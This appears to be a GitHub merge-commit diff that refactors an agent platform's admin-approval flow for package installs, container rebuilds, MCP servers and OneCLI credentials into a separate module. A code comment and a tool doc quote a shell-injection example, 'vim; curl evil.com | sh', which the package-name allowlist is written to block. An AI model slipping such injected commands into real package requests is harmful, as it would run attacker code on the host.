Merge pull request #1840 from qwibitai/refactor/pr3-approvals-interactive

refactor(modules): extract approvals + interactive as registry-based modules
This commit is contained in:
gavrielc
2026-04-18 15:57:29 +03:00
committed by GitHub
16 changed files with 707 additions and 427 deletions
+4 -4
View File
@@ -3,11 +3,11 @@ import type Database from 'better-sqlite3';
import { log } from '../../log.js';
import { migration001 } from './001-initial.js';
import { migration002 } from './002-chat-sdk-state.js';
import { migration003 } from './003-pending-approvals.js';
import { migration004 } from './004-agent-destinations.js';
import { migration007 } from './007-pending-approvals-title-options.js';
import { migration008 } from './008-dropped-messages.js';
import { migration009 } from './009-drop-pending-credentials.js';
import { moduleApprovalsPendingApprovals } from './module-approvals-pending-approvals.js';
import { moduleApprovalsTitleOptions } from './module-approvals-title-options.js';
export interface Migration {
version: number;
@@ -18,9 +18,9 @@ export interface Migration {
const migrations: Migration[] = [
migration001,
migration002,
migration003,
moduleApprovalsPendingApprovals,
migration004,
migration007,
moduleApprovalsTitleOptions,
migration008,
migration009,
];
@@ -12,7 +12,10 @@ import type { Migration } from './index.js';
* `platform_message_id`, `expires_at`, `status`) let the host edit the admin
* card when a request expires and sweep stale rows on startup.
*/
export const migration003: Migration = {
// Retains the original `name` ('pending-approvals') so existing DBs that
// already recorded this migration under that name don't re-run it. The
// module- prefix lives on the filename / export identifier only.
export const moduleApprovalsPendingApprovals: Migration = {
version: 3,
name: 'pending-approvals',
up(db) {
@@ -12,7 +12,10 @@ import type { Migration } from './index.js';
* the ALTER statements will fail harmlessly (column already exists) and
* we swallow the error per-column.
*/
export const migration007: Migration = {
// Retains the original `name` ('pending-approvals-title-options') so
// existing DBs that already recorded this migration don't re-run it. The
// module- prefix lives on the filename / export identifier only.
export const moduleApprovalsTitleOptions: Migration = {
version: 7,
name: 'pending-approvals-title-options',
up(db) {
+35 -182
View File
@@ -12,18 +12,11 @@ import fs from 'fs';
import path from 'path';
import { GROUPS_DIR } from './config.js';
import {
getRunningSessions,
getActiveSessions,
createPendingQuestion,
getSession,
createPendingApproval,
} from './db/sessions.js';
import { getRunningSessions, getActiveSessions, createPendingQuestion, getSession } from './db/sessions.js';
import { getAgentGroup, createAgentGroup, updateAgentGroup, getAgentGroupByFolder } from './db/agent-groups.js';
import { createDestination, getDestinationByName, hasDestination, normalizeName } from './db/agent-destinations.js';
import { getDb, hasTable } from './db/connection.js';
import { getMessagingGroup, getMessagingGroupByPlatform } from './db/messaging-groups.js';
import { pickApprovalDelivery, pickApprover } from './access.js';
import { getMessagingGroupByPlatform } from './db/messaging-groups.js';
import {
getDueOutboundMessages,
getDeliveredIds,
@@ -37,7 +30,7 @@ import {
updateTask,
} from './db/session-db.js';
import { log } from './log.js';
import { normalizeOptions, type RawOption } from './channels/ask-question.js';
import { normalizeOptions } from './channels/ask-question.js';
import {
openInboundDb,
openOutboundDb,
@@ -90,11 +83,43 @@ let deliveryAdapter: ChannelDeliveryAdapter | null = null;
let activePolling = false;
let sweepPolling = false;
/**
* Callbacks fired when the delivery adapter is first set (and again if it's
* replaced). Lets modules that need the adapter at boot (e.g. approvals →
* OneCLI handler) hook in without core calling into the module directly.
*
* Not a general-purpose registry — narrow lifecycle hook only.
*/
type AdapterReadyCallback = (adapter: ChannelDeliveryAdapter) => void | Promise<void>;
const adapterReadyCallbacks: AdapterReadyCallback[] = [];
/** Current delivery adapter or null if not yet set. Modules use this in live
* message-flow handlers where the adapter is guaranteed to be set. For
* boot-time setup (before the adapter is ready), use onDeliveryAdapterReady. */
export function getDeliveryAdapter(): ChannelDeliveryAdapter | null {
return deliveryAdapter;
}
export function onDeliveryAdapterReady(cb: AdapterReadyCallback): void {
adapterReadyCallbacks.push(cb);
if (deliveryAdapter) {
// Already set — fire immediately so late registrations still run.
void Promise.resolve()
.then(() => cb(deliveryAdapter as ChannelDeliveryAdapter))
.catch((err) => log.error('onDeliveryAdapterReady callback threw', { err }));
}
}
export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void {
deliveryAdapter = adapter;
// Forward to the typing module so it can fire setTyping on its own
// interval. Direct call, not a registry — typing is a default module.
setTypingAdapter(adapter);
for (const cb of adapterReadyCallbacks) {
void Promise.resolve()
.then(() => cb(adapter))
.catch((err) => log.error('onDeliveryAdapterReady callback threw', { err }));
}
}
/**
@@ -120,82 +145,6 @@ function notifyAgent(session: Session, text: string): void {
}
}
/**
* Send an approval request to a privileged user's DM and record a
* pending_approval row. Routing: admin @ originating agent group → owner.
* Tie-break: prefer an approver reachable on the same channel kind as the
* originating session's messaging group. Delivery always lands in the
* approver's DM (not the origin group), regardless of where the action
* was triggered.
*/
const APPROVAL_OPTIONS: RawOption[] = [
{ label: 'Approve', selectedLabel: '✅ Approved', value: 'approve' },
{ label: 'Reject', selectedLabel: '❌ Rejected', value: 'reject' },
];
async function requestApproval(
session: Session,
agentName: string,
action: 'install_packages' | 'request_rebuild' | 'add_mcp_server',
payload: Record<string, unknown>,
title: string,
question: string,
): Promise<void> {
const approvers = pickApprover(session.agent_group_id);
if (approvers.length === 0) {
notifyAgent(session, `${action} failed: no owner or admin configured to approve.`);
return;
}
// Origin channel kind drives the tie-break preference in approval delivery.
const originChannelType = session.messaging_group_id
? (getMessagingGroup(session.messaging_group_id)?.channel_type ?? '')
: '';
const target = await pickApprovalDelivery(approvers, originChannelType);
if (!target) {
notifyAgent(session, `${action} failed: no DM channel found for any eligible approver.`);
return;
}
const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
const normalizedOptions = normalizeOptions(APPROVAL_OPTIONS);
createPendingApproval({
approval_id: approvalId,
session_id: session.id,
request_id: approvalId, // fire-and-forget: no separate request id to correlate
action,
payload: JSON.stringify(payload),
created_at: new Date().toISOString(),
title,
options_json: JSON.stringify(normalizedOptions),
});
if (deliveryAdapter) {
try {
await deliveryAdapter.deliver(
target.messagingGroup.channel_type,
target.messagingGroup.platform_id,
null,
'chat-sdk',
JSON.stringify({
type: 'ask_question',
questionId: approvalId,
title,
question,
options: APPROVAL_OPTIONS,
}),
);
} catch (err) {
log.error('Failed to deliver approval card', { action, approvalId, err });
notifyAgent(session, `${action} failed: could not deliver approval request to ${target.userId}.`);
return;
}
}
log.info('Approval requested', { action, approvalId, agentName, approver: target.userId });
}
/** Start the active container poll loop (~1s). */
export function startActiveDeliveryPoll(): void {
if (activePolling) return;
@@ -705,102 +654,6 @@ async function handleSystemAction(
break;
}
case 'add_mcp_server': {
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
notifyAgent(session, 'add_mcp_server failed: agent group not found.');
break;
}
const serverName = content.name as string;
const command = content.command as string;
if (!serverName || !command) {
notifyAgent(session, 'add_mcp_server failed: name and command are required.');
break;
}
await requestApproval(
session,
agentGroup.name,
'add_mcp_server',
{
name: serverName,
command,
args: (content.args as string[]) || [],
env: (content.env as Record<string, string>) || {},
},
'Add MCP Request',
`Agent "${agentGroup.name}" is attempting to add a new MCP server:\n${serverName} (${command})`,
);
break;
}
case 'install_packages': {
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
notifyAgent(session, 'install_packages failed: agent group not found.');
break;
}
const apt = (content.apt as string[]) || [];
const npm = (content.npm as string[]) || [];
const reason = (content.reason as string) || '';
// Host-side sanitization (defense in depth — container should validate first).
// Strict allowlist: Debian/npm naming rules only. Blocks shell injection via
// package names like `vim; curl evil.com | sh`.
const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/;
const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/;
const MAX_PACKAGES = 20;
if (apt.length + npm.length === 0) {
notifyAgent(session, 'install_packages failed: at least one apt or npm package is required.');
break;
}
if (apt.length + npm.length > MAX_PACKAGES) {
notifyAgent(session, `install_packages failed: max ${MAX_PACKAGES} packages per request.`);
break;
}
const invalidApt = apt.find((p) => !APT_RE.test(p));
if (invalidApt) {
notifyAgent(session, `install_packages failed: invalid apt package name "${invalidApt}".`);
log.warn('install_packages: invalid apt package rejected', { pkg: invalidApt });
break;
}
const invalidNpm = npm.find((p) => !NPM_RE.test(p));
if (invalidNpm) {
notifyAgent(session, `install_packages failed: invalid npm package name "${invalidNpm}".`);
log.warn('install_packages: invalid npm package rejected', { pkg: invalidNpm });
break;
}
const packageList = [...apt.map((p) => `apt: ${p}`), ...npm.map((p) => `npm: ${p}`)].join(', ');
await requestApproval(
session,
agentGroup.name,
'install_packages',
{ apt, npm, reason },
'Install Packages Request',
`Agent "${agentGroup.name}" is attempting to install a package + rebuild container:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`,
);
break;
}
case 'request_rebuild': {
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
notifyAgent(session, 'request_rebuild failed: agent group not found.');
break;
}
const reason = (content.reason as string) || '';
await requestApproval(
session,
agentGroup.name,
'request_rebuild',
{ reason },
'Rebuild Request',
`Agent "${agentGroup.name}" is attempting to rebuild container.${reason ? `\nReason: ${reason}` : ''}`,
);
break;
}
default:
log.warn('Unknown system action', { action });
}
+26 -230
View File
@@ -13,56 +13,27 @@ import { getMessagingGroupsByChannel, getMessagingGroupAgents } from './db/messa
import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js';
import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js';
import { startHostSweep, stopHostSweep } from './host-sweep.js';
import {
ONECLI_ACTION,
resolveOneCLIApproval,
startOneCLIApprovalHandler,
stopOneCLIApprovalHandler,
} from './onecli-approvals.js';
import { routeInbound } from './router.js';
import {
getPendingQuestion,
deletePendingQuestion,
getPendingApproval,
deletePendingApproval,
getSession,
} from './db/sessions.js';
import { getAgentGroup } from './db/agent-groups.js';
import { updateContainerConfig } from './container-config.js';
import { writeSessionMessage } from './session-manager.js';
import { wakeContainer, buildAgentGroupImage, killContainer } from './container-runner.js';
import { log } from './log.js';
/**
* Response handler registry.
*
* Button-click / question responses arrive via the channel adapter's
* `onAction` callback. Core iterates registered handlers in registration
* order; the first one that returns `true` claims the response.
* Unclaimed responses fall through to the inline `handleQuestionResponse`
* below (which handles OneCLI credential approvals, pending_approvals,
* and pending_questions). As those modules are extracted, the inline
* function will shrink and the registry will own the full dispatch.
*/
export interface ResponsePayload {
questionId: string;
value: string;
userId: string | null;
channelType: string;
platformId: string;
threadId: string | null;
}
export type ResponseHandler = (payload: ResponsePayload) => Promise<boolean>;
const responseHandlers: ResponseHandler[] = [];
export function registerResponseHandler(handler: ResponseHandler): void {
responseHandlers.push(handler);
}
// Response + shutdown registries live in response-registry.ts to break the
// circular import cycle: src/index.ts imports src/modules/index.js for side
// effects, and the modules call registerResponseHandler/onShutdown at top
// level — which would hit a TDZ error if the arrays lived here. Re-exported
// here so existing callers see the same surface.
import {
registerResponseHandler,
getResponseHandlers,
onShutdown,
getShutdownCallbacks,
type ResponsePayload,
type ResponseHandler,
} from './response-registry.js';
export { registerResponseHandler, onShutdown };
export type { ResponsePayload, ResponseHandler };
async function dispatchResponse(payload: ResponsePayload): Promise<void> {
for (const handler of responseHandlers) {
for (const handler of getResponseHandlers()) {
try {
const claimed = await handler(payload);
if (claimed) return;
@@ -70,8 +41,7 @@ async function dispatchResponse(payload: ResponsePayload): Promise<void> {
log.error('Response handler threw', { questionId: payload.questionId, err });
}
}
// Unclaimed — fall through to inline handler.
await handleQuestionResponse(payload.questionId, payload.value, payload.userId ?? '');
log.warn('Unclaimed response', { questionId: payload.questionId, value: payload.value });
}
// Channel barrel — each enabled channel self-registers on import.
@@ -133,9 +103,8 @@ async function main(): Promise<void> {
userId,
channelType: adapter.channelType,
// platformId/threadId aren't surfaced by the current onAction
// signature — the inline fallback looks them up from the
// pending_question / pending_approval row. Registered handlers
// typically do the same.
// signature — registered handlers look them up from the
// pending_question / pending_approval row.
platformId: '',
threadId: null,
}).catch((err) => {
@@ -178,9 +147,6 @@ async function main(): Promise<void> {
startHostSweep();
log.info('Host sweep started');
// 7. Start OneCLI manual-approval handler
startOneCLIApprovalHandler(deliveryAdapter);
log.info('NanoClaw running');
}
@@ -206,186 +172,16 @@ function buildConversationConfigs(channelType: string): ConversationConfig[] {
return configs;
}
/** Handle a user's response to an ask_user_question card or an approval card. */
async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise<void> {
// OneCLI credential approvals — resolved via in-memory Promise, not session DB
if (resolveOneCLIApproval(questionId, selectedOption)) {
return;
}
// Check if this is a pending approval (install_packages, request_rebuild)
const approval = getPendingApproval(questionId);
if (approval) {
if (approval.action === ONECLI_ACTION) {
// Row exists but the in-memory resolver is gone (timer fired or process
// was in a weird state). Nothing to do — just drop the row.
deletePendingApproval(questionId);
return;
}
await handleApprovalResponse(approval, selectedOption, userId);
return;
}
const pq = getPendingQuestion(questionId);
if (!pq) {
log.warn('Pending question not found (may have expired)', { questionId });
return;
}
const session = getSession(pq.session_id);
if (!session) {
log.warn('Session not found for pending question', { questionId, sessionId: pq.session_id });
deletePendingQuestion(questionId);
return;
}
// Write the response to the session DB as a system message
writeSessionMessage(session.agent_group_id, session.id, {
id: `qr-${questionId}-${Date.now()}`,
kind: 'system',
timestamp: new Date().toISOString(),
platformId: pq.platform_id,
channelType: pq.channel_type,
threadId: pq.thread_id,
content: JSON.stringify({
type: 'question_response',
questionId,
selectedOption,
userId,
}),
});
deletePendingQuestion(questionId);
log.info('Question response routed', { questionId, selectedOption, sessionId: session.id });
// Wake the container so the MCP tool's poll picks up the response
await wakeContainer(session);
}
/**
* Handle an admin's response to an approval card.
* Fire-and-forget model: the agent doesn't poll for this — we write a chat
* notification to its session DB, and optionally kill the container so the
* next wake picks up new config/images.
*/
async function handleApprovalResponse(
approval: import('./types.js').PendingApproval,
selectedOption: string,
userId: string,
): Promise<void> {
if (!approval.session_id) {
deletePendingApproval(approval.approval_id);
return;
}
const session = getSession(approval.session_id);
if (!session) {
deletePendingApproval(approval.approval_id);
return;
}
const notify = (text: string): void => {
writeSessionMessage(session.agent_group_id, session.id, {
id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
kind: 'chat',
timestamp: new Date().toISOString(),
platformId: session.agent_group_id,
channelType: 'agent',
threadId: null,
content: JSON.stringify({ text, sender: 'system', senderId: 'system' }),
});
};
if (selectedOption !== 'approve') {
notify(`Your ${approval.action} request was rejected by admin.`);
log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId });
deletePendingApproval(approval.approval_id);
await wakeContainer(session);
return;
}
const payload = JSON.parse(approval.payload);
if (approval.action === 'install_packages') {
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
notify('install_packages approved but agent group missing.');
return;
}
updateContainerConfig(agentGroup.folder, (cfg) => {
if (payload.apt) cfg.packages.apt.push(...(payload.apt as string[]));
if (payload.npm) cfg.packages.npm.push(...(payload.npm as string[]));
});
const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', ');
log.info('Package install approved', { approvalId: approval.approval_id, userId });
try {
await buildAgentGroupImage(session.agent_group_id);
killContainer(session.id, 'rebuild applied');
// Schedule a follow-up prompt a few seconds after kill so the host sweep
// respawns the container on the new image and the agent verifies + reports.
writeSessionMessage(session.agent_group_id, session.id, {
id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
kind: 'chat',
timestamp: new Date().toISOString(),
platformId: session.agent_group_id,
channelType: 'agent',
threadId: null,
content: JSON.stringify({
text: `Packages installed (${pkgs}) and container rebuilt. Verify the new packages are available (e.g. run them or check versions) and report the result to the user.`,
sender: 'system',
senderId: 'system',
}),
processAfter: new Date(Date.now() + 5000)
.toISOString()
.replace('T', ' ')
.replace(/\.\d+Z$/, ''),
});
log.info('Container rebuild completed (bundled with install)', { approvalId: approval.approval_id });
} catch (e) {
notify(
`Packages added to config (${pkgs}) but rebuild failed: ${e instanceof Error ? e.message : String(e)}. Call request_rebuild to retry.`,
);
log.error('Bundled rebuild failed after install approval', { approvalId: approval.approval_id, err: e });
}
} else if (approval.action === 'request_rebuild') {
try {
await buildAgentGroupImage(session.agent_group_id);
// Kill the container so the next wake uses the new image
killContainer(session.id, 'rebuild applied');
notify('Container image rebuilt. Your container will restart with the new image on the next message.');
log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId });
} catch (e) {
notify(`Rebuild failed: ${e instanceof Error ? e.message : String(e)}`);
log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e });
}
} else if (approval.action === 'add_mcp_server') {
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
notify('add_mcp_server approved but agent group missing.');
return;
}
updateContainerConfig(agentGroup.folder, (cfg) => {
cfg.mcpServers[payload.name as string] = {
command: payload.command as string,
args: (payload.args as string[]) || [],
env: (payload.env as Record<string, string>) || {},
};
});
// Kill the container so next wake loads the new MCP server config
killContainer(session.id, 'mcp server added');
notify(`MCP server "${payload.name}" added. Your container will restart with it on the next message.`);
log.info('MCP server add approved', { approvalId: approval.approval_id, userId });
}
deletePendingApproval(approval.approval_id);
await wakeContainer(session);
}
/** Graceful shutdown. */
async function shutdown(signal: string): Promise<void> {
log.info('Shutdown signal received', { signal });
stopOneCLIApprovalHandler();
for (const cb of getShutdownCallbacks()) {
try {
await cb();
} catch (err) {
log.error('Shutdown callback threw', { err });
}
}
stopDeliveryPolls();
stopHostSweep();
await teardownChannelAdapters();
+53
View File
@@ -0,0 +1,53 @@
## Self-modification tools (require admin approval)
Three fire-and-forget tools change your container image or config. Each sends an approval card to an admin's DM; you get notified via system chat on approve/reject.
### install_packages
Add apt and/or npm packages to your container image. On approval, the config is updated AND the image is rebuilt in the same step — you'll get a follow-up prompt ~5s after rebuild telling you to verify the packages are available.
```
install_packages({
apt: ["ripgrep", "jq"], // names only, no version specs or flags
npm: ["@anthropic-ai/sdk"], // global install
reason: "need rg for fast code search"
})
```
- Max 20 packages per request.
- Names must match strict regex (blocks shell injection via `vim; curl evil.com`).
- After approval: rebuild runs automatically. You do NOT need to call `request_rebuild` separately.
### add_mcp_server
Wire an EXISTING third-party MCP server into your runtime config. You must already know the exact `command` and `args`.
```
add_mcp_server({
name: "github",
command: "npx",
args: ["@modelcontextprotocol/server-github"],
env: { GITHUB_TOKEN: "..." }
})
```
- Does NOT install packages. Use `install_packages` first if the command isn't already available.
- On approval, container is killed so the next message wakes it with the new server wired up.
### request_rebuild
Rebuild your container image. Only useful if you've already landed `install_packages` approvals whose rebuild step failed, or if you're recovering from a bad config edit.
```
request_rebuild({ reason: "previous install_packages rebuild failed" })
```
### How approval works
You won't see the admin's response in your current turn. After approval, the container is killed and next time a message arrives your container starts fresh on the new image. If a follow-up system prompt fires (as with `install_packages`), you'll see it and should act on it — verify the change, report to the user.
If denied, you'll get a chat message telling you the request was rejected. Do not retry automatically; explain to the user what was denied.
## Credential approvals (OneCLI)
When you call an external API that requires credentials, OneCLI may prompt an admin for approval before releasing the token. This happens transparently: the HTTP call blocks until admin approves or denies. No action needed from you — just make the call. If it errors out with a credential failure, tell the user and stop.
+37
View File
@@ -0,0 +1,37 @@
/**
* Approvals module — admin-gated self-modification and OneCLI credential flow.
*
* Registers:
* - Three delivery actions the container writes via self-mod MCP tools:
* install_packages, request_rebuild, add_mcp_server.
* - A response handler that claims `pending_approvals` rows (agent-initiated
* approvals) + OneCLI credential approvals (resolved via in-memory Promise).
* - An adapter-ready callback that starts the OneCLI manual-approval handler
* once the delivery adapter is set.
* - A shutdown callback that stops the OneCLI handler cleanly.
*/
import { registerDeliveryAction, onDeliveryAdapterReady } from '../../delivery.js';
import { registerResponseHandler, onShutdown } from '../../response-registry.js';
import { handleAddMcpServer, handleInstallPackages, handleRequestRebuild } from './request-approval.js';
import { handleApprovalsResponse } from './response-handler.js';
import { startOneCLIApprovalHandler, stopOneCLIApprovalHandler } from './onecli-approvals.js';
registerDeliveryAction('install_packages', async (content, session) => {
await handleInstallPackages(content, session);
});
registerDeliveryAction('request_rebuild', async (content, session) => {
await handleRequestRebuild(content, session);
});
registerDeliveryAction('add_mcp_server', async (content, session) => {
await handleAddMcpServer(content, session);
});
registerResponseHandler(handleApprovalsResponse);
onDeliveryAdapterReady((adapter) => {
startOneCLIApprovalHandler(adapter);
});
onShutdown(() => {
stopOneCLIApprovalHandler();
});
@@ -19,18 +19,18 @@
*/
import { OneCLI, type ApprovalRequest, type ManualApprovalHandle } from '@onecli-sh/sdk';
import { pickApprovalDelivery, pickApprover } from './access.js';
import { ONECLI_URL } from './config.js';
import { getAgentGroup } from './db/agent-groups.js';
import { pickApprovalDelivery, pickApprover } from '../../access.js';
import { ONECLI_URL } from '../../config.js';
import { getAgentGroup } from '../../db/agent-groups.js';
import {
createPendingApproval,
deletePendingApproval,
getPendingApprovalsByAction,
updatePendingApprovalStatus,
} from './db/sessions.js';
import type { ChannelDeliveryAdapter } from './delivery.js';
import { log } from './log.js';
import type { PendingApproval } from './types.js';
} from '../../db/sessions.js';
import type { ChannelDeliveryAdapter } from '../../delivery.js';
import { log } from '../../log.js';
import type { PendingApproval } from '../../types.js';
export const ONECLI_ACTION = 'onecli_credential';
@@ -64,7 +64,7 @@ function shortApprovalId(): string {
return `oa-${Math.random().toString(36).slice(2, 10)}`;
}
/** Called from the main `handleQuestionResponse` path when a card button is clicked. */
/** Called from the approvals response handler when a card button is clicked. */
export function resolveOneCLIApproval(approvalId: string, selectedOption: string): boolean {
const state = pending.get(approvalId);
if (!state) return false;
+30
View File
@@ -0,0 +1,30 @@
## Approvals module
Admin-gated approval flow for agent self-modification and OneCLI credential access. Lives in `src/modules/approvals/`.
### Two flows
**Agent-initiated (DB-backed, fire-and-forget).** The container writes a `system`-kind outbound row with one of three actions — `install_packages`, `request_rebuild`, `add_mcp_server`. The module's delivery-action handlers validate, route to the right approver's DM, and persist a `pending_approvals` row. When the admin clicks a button, the registered response handler applies the change (config update → image rebuild → container kill) and notifies the agent via system chat.
**OneCLI credential (long-poll).** The OneCLI gateway holds an HTTP connection open when it needs credential approval. `onecli-approvals.ts` delivers a card, persists a `pending_approvals` row (action = `onecli_credential`), and waits on an in-memory Promise that resolves on click or expiry timer. Survives host restart: the startup sweep edits stale cards to "Expired (host restarted)" and drops the rows.
### Wiring
- **Delivery actions:** `install_packages`, `request_rebuild`, `add_mcp_server` via `registerDeliveryAction`.
- **Response handler:** single handler claims both agent-initiated and OneCLI approvals. OneCLI is tried first (in-memory Promise); falls through to `pending_approvals` lookup.
- **Adapter-ready hook (`onDeliveryAdapterReady`):** starts the OneCLI manual-approval handler once the delivery adapter is set.
- **Shutdown hook (`onShutdown`):** stops the OneCLI handler.
### Tables
`pending_approvals` (created by `module-approvals-pending-approvals.ts`). Columns for both DB-backed and OneCLI-tracking rows. Not dropped on uninstall — approvals in flight aren't lost on reinstall.
### Core integration
The module depends on host-side infra but does not reach into core decision paths beyond the registered hooks:
- `buildAgentGroupImage`, `killContainer` from container-runner (image rebuilds)
- `updateContainerConfig` from container-config (apt/npm/mcp edits)
- `pickApprover`, `pickApprovalDelivery` from access
- `getDeliveryAdapter` in request-approval.ts and the adapter-ready callback in OneCLI handler
No core code imports from this module. Removing it: delete `src/modules/approvals/`, remove the import from `src/modules/index.ts`. Delivery actions will log "Unknown system action"; button clicks on approval cards will log "Unclaimed response". Stale rows remain in `pending_approvals` until reinstall or manual cleanup.
+214
View File
@@ -0,0 +1,214 @@
/**
* Delivery-action handlers for agent-initiated approval requests.
*
* Three actions the container can write into messages_out (via self-mod
* MCP tools): install_packages, request_rebuild, add_mcp_server. Each one
* delivers an approval card to an admin's DM and records a pending_approvals
* row. The admin clicks a button → handleApprovalResponse picks it up.
*
* Host-side sanitization for install_packages is defense-in-depth (the MCP
* tool validates first). Both layers matter — the DB row and eventual
* shell-exec trust it.
*/
import { pickApprovalDelivery, pickApprover } from '../../access.js';
import { normalizeOptions, type RawOption } from '../../channels/ask-question.js';
import { getAgentGroup } from '../../db/agent-groups.js';
import { getMessagingGroup } from '../../db/messaging-groups.js';
import { createPendingApproval, getSession } from '../../db/sessions.js';
import { getDeliveryAdapter } from '../../delivery.js';
import { wakeContainer } from '../../container-runner.js';
import { log } from '../../log.js';
import { writeSessionMessage } from '../../session-manager.js';
import type { Session } from '../../types.js';
const APPROVAL_OPTIONS: RawOption[] = [
{ label: 'Approve', selectedLabel: '✅ Approved', value: 'approve' },
{ label: 'Reject', selectedLabel: '❌ Rejected', value: 'reject' },
];
/** Inline copy of delivery.ts's notifyAgent — sends a system chat to the agent. */
function notifyAgent(session: Session, text: string): void {
writeSessionMessage(session.agent_group_id, session.id, {
id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
kind: 'chat',
timestamp: new Date().toISOString(),
platformId: session.agent_group_id,
channelType: 'agent',
threadId: null,
content: JSON.stringify({ text, sender: 'system', senderId: 'system' }),
});
const fresh = getSession(session.id);
if (fresh) {
wakeContainer(fresh).catch((err) => log.error('Failed to wake container after notification', { err }));
}
}
/**
* Send an approval request to a privileged user's DM and record a
* pending_approval row. Routing: admin @ originating agent group → owner.
* Tie-break: prefer an approver reachable on the same channel kind as the
* originating session's messaging group. Delivery always lands in the
* approver's DM (not the origin group), regardless of where the action
* was triggered.
*/
async function requestApproval(
session: Session,
agentName: string,
action: 'install_packages' | 'request_rebuild' | 'add_mcp_server',
payload: Record<string, unknown>,
title: string,
question: string,
): Promise<void> {
const approvers = pickApprover(session.agent_group_id);
if (approvers.length === 0) {
notifyAgent(session, `${action} failed: no owner or admin configured to approve.`);
return;
}
const originChannelType = session.messaging_group_id
? (getMessagingGroup(session.messaging_group_id)?.channel_type ?? '')
: '';
const target = await pickApprovalDelivery(approvers, originChannelType);
if (!target) {
notifyAgent(session, `${action} failed: no DM channel found for any eligible approver.`);
return;
}
const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
const normalizedOptions = normalizeOptions(APPROVAL_OPTIONS);
createPendingApproval({
approval_id: approvalId,
session_id: session.id,
request_id: approvalId,
action,
payload: JSON.stringify(payload),
created_at: new Date().toISOString(),
title,
options_json: JSON.stringify(normalizedOptions),
});
const adapter = getDeliveryAdapter();
if (adapter) {
try {
await adapter.deliver(
target.messagingGroup.channel_type,
target.messagingGroup.platform_id,
null,
'chat-sdk',
JSON.stringify({
type: 'ask_question',
questionId: approvalId,
title,
question,
options: APPROVAL_OPTIONS,
}),
);
} catch (err) {
log.error('Failed to deliver approval card', { action, approvalId, err });
notifyAgent(session, `${action} failed: could not deliver approval request to ${target.userId}.`);
return;
}
}
log.info('Approval requested', { action, approvalId, agentName, approver: target.userId });
}
export async function handleInstallPackages(
content: Record<string, unknown>,
session: Session,
): Promise<void> {
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
notifyAgent(session, 'install_packages failed: agent group not found.');
return;
}
const apt = (content.apt as string[]) || [];
const npm = (content.npm as string[]) || [];
const reason = (content.reason as string) || '';
const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/;
const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/;
const MAX_PACKAGES = 20;
if (apt.length + npm.length === 0) {
notifyAgent(session, 'install_packages failed: at least one apt or npm package is required.');
return;
}
if (apt.length + npm.length > MAX_PACKAGES) {
notifyAgent(session, `install_packages failed: max ${MAX_PACKAGES} packages per request.`);
return;
}
const invalidApt = apt.find((p) => !APT_RE.test(p));
if (invalidApt) {
notifyAgent(session, `install_packages failed: invalid apt package name "${invalidApt}".`);
log.warn('install_packages: invalid apt package rejected', { pkg: invalidApt });
return;
}
const invalidNpm = npm.find((p) => !NPM_RE.test(p));
if (invalidNpm) {
notifyAgent(session, `install_packages failed: invalid npm package name "${invalidNpm}".`);
log.warn('install_packages: invalid npm package rejected', { pkg: invalidNpm });
return;
}
const packageList = [...apt.map((p) => `apt: ${p}`), ...npm.map((p) => `npm: ${p}`)].join(', ');
await requestApproval(
session,
agentGroup.name,
'install_packages',
{ apt, npm, reason },
'Install Packages Request',
`Agent "${agentGroup.name}" is attempting to install a package + rebuild container:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`,
);
}
export async function handleRequestRebuild(
content: Record<string, unknown>,
session: Session,
): Promise<void> {
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
notifyAgent(session, 'request_rebuild failed: agent group not found.');
return;
}
const reason = (content.reason as string) || '';
await requestApproval(
session,
agentGroup.name,
'request_rebuild',
{ reason },
'Rebuild Request',
`Agent "${agentGroup.name}" is attempting to rebuild container.${reason ? `\nReason: ${reason}` : ''}`,
);
}
export async function handleAddMcpServer(
content: Record<string, unknown>,
session: Session,
): Promise<void> {
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
notifyAgent(session, 'add_mcp_server failed: agent group not found.');
return;
}
const serverName = content.name as string;
const command = content.command as string;
if (!serverName || !command) {
notifyAgent(session, 'add_mcp_server failed: name and command are required.');
return;
}
await requestApproval(
session,
agentGroup.name,
'add_mcp_server',
{
name: serverName,
command,
args: (content.args as string[]) || [],
env: (content.env as Record<string, string>) || {},
},
'Add MCP Request',
`Agent "${agentGroup.name}" is attempting to add a new MCP server:\n${serverName} (${command})`,
);
}
+156
View File
@@ -0,0 +1,156 @@
/**
* Handle an admin's response to an approval card.
*
* Two categories of pending_approvals rows exist:
* 1. Agent-initiated actions (install_packages, request_rebuild, add_mcp_server).
* Fire-and-forget from the agent's perspective: we notify via chat on
* approve/reject, rebuild the image if applicable, then kill the container
* so the next wake picks up the new image.
* 2. OneCLI credential approvals (action = 'onecli_credential'). Resolved
* via an in-memory Promise — see onecli-approvals.ts.
*
* The response handler is registered via core's `registerResponseHandler`;
* core iterates handlers and the first one to return `true` claims the response.
*/
